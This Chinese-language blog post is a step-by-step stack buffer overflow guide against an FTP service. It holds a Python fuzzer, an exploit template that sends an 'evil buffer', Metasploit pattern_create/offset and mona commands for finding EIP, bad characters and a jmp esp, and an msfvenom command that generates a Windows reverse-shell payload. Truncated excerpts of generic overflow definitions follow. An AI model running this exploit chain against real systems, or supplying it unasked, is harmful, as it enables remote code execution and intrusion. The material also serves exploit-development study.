緩衝區溢位流程

2022-09-12 04:12:08 字數 2715 閱讀 4089

確保應用程式正在執行,開啟 immunity debugger,然後使用file -> attach偵錯程式攻擊正在執行的程序。

開啟 immunity debugger,然後使用它file -> open來執行應用程式。

這裡找到:https :

將 mona.py 檔案複製到 immunity debugger 的 pycommands 目錄(通常位於c:\program files\immunity inc\immunity debugger\pycommands)。

在 immunity debugger 中,鍵入以下內容以設定 mona 的工作目錄。

!mona config -set workingfolder c:\mona\%p

import socket, time, sys

ip = "machine_ip" //目標ip

port = 21

timeout = 5

# create an array of increasing length buffer strings.

buffer =

counter = 100

while len(buffer) < 30:

counter += 100

for string in buffer:

try:

s = socket.socket(socket.af_inet, socket.sock_stream)

s.settimeout(timeout)

connect = s.connect((ip, port))

s.recv(1024)

s.send("user username\r\n")

s.recv(1024)

print("fuzzing pass with %s bytes" % len(string))

s.send("pass " + string + "\r\n")

s.recv(1024)

s.send("quit\r\n")

s.recv(1024)

s.close()

except:

print("could not connect to " + ip + ":" + str(port))

sys.exit(0)

time.sleep(1)

以下python漏洞利用**可用於緩衝區溢位漏洞利用的其餘部分:

import socket

ip = "10.0.0.1" //目標ip

port = 21

prefix = ""

offset = 0 //eip偏移量

overflow = "a" * offset //無意義的填充物

retn = "" //esp跳板

padding = "" //nop緩衝區(至少/x90 *16)

payload = "" //惡意**

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.af_inet, socket.sock_stream)

try:

s.connect((ip, port))

print("sending evil buffer...")

s.send(buffer + "\r\n")

print("done!")

except:

print("could not connect.")

尋找eip
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600    //應該將600修改為比緩衝區崩潰長度大400位元組的數字
!mona findmsp -distance 600   //600應該更改
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134   //後面的數字是eip的值
!mona bytearray -b "\x00"

#!/usr/bin/env python

from __future__ import print_function

for x in range(1, 256):

print("\\x" + "".format(x), end='')

print()

!mona jmp -r esp -cpb " " //引號內的是壞字元

msfvenom -p windows/shell_reverse_tcp lhost=***.***.***.*** lport=4444 exitfunc=thread -b "\x00\x0a\x0d" -f py -v payload

-p 載荷型別

lhost 本機位址

lport

-b 壞字元

-f 編譯的語言

-v 載荷的名稱

緩衝區溢位

緩衝區溢位是指當電腦程式向緩衝區內填充的資料位數超過了緩衝區本身的容量。溢位的資料覆蓋在合法資料上。理想情況是,程式檢查資料長度並且不允許輸入超過緩衝區長度的字串。但是絕大多數程式都會假設資料長度總是與所分配的儲存空間相匹配,這就為緩衝區溢位埋下隱患。作業系統所使用的緩衝區又被稱為堆疊,在各個操作程...

緩衝區溢位

緩衝區溢位,簡單的說就是計算機對接收的輸入資料沒有進行有效的檢測 理想的情況是程式檢查資料長度並不允許輸入超過緩衝區長度的字元 向緩衝區內填充資料時超過了緩衝區本身的容量,而導致資料溢位到被分配空間之外的記憶體空間,使得溢位的資料覆蓋了其他記憶體空間的資料。通過往程式的緩衝區寫超出其長度的內容,造成...

緩衝區溢位 棧溢位

1 緩衝區概念 緩衝區 buffer 又稱為快取,它是記憶體空間的一部分。也就是說,在記憶體空間中預留了一定的儲存空間,這些儲存空間用來緩衝輸入或輸出的資料,這部分預留的空間就叫做緩衝區。使用緩衝區有兩個好處 1 減少實際物理讀寫次數 2 緩衝區在建立時就被分配記憶體,這塊記憶體區域一直被重用,可以...